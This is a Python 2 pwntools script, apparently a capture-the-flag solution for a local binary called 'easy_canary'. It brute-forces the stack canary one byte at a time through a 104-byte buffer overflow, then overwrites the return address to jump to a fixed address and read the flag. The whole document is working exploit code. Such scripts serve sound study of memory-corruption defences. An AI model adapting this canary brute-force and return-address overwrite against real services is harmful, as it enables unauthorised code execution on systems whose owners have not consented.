#!/usr/bin/env python2
#coding:utf-8

from pwn import *
context.log_level = 'debug'

p = process('./easy_canary')
p.recvuntil('Plz leave your name:')
canary = '\x00'
for j in range(7):
    for i in range(0x100):
        p.send('a'*104 + canary + chr(i))
        a = p.recvuntil('Plz leave your name:')
        if 'recv' in a:
            canary += chr(i)
            break

p.sendline('a'*104 + canary + 'a'*8 + p64(0x400857))

flag = p.recv()
p.close()
log.success('flag is:' + flag)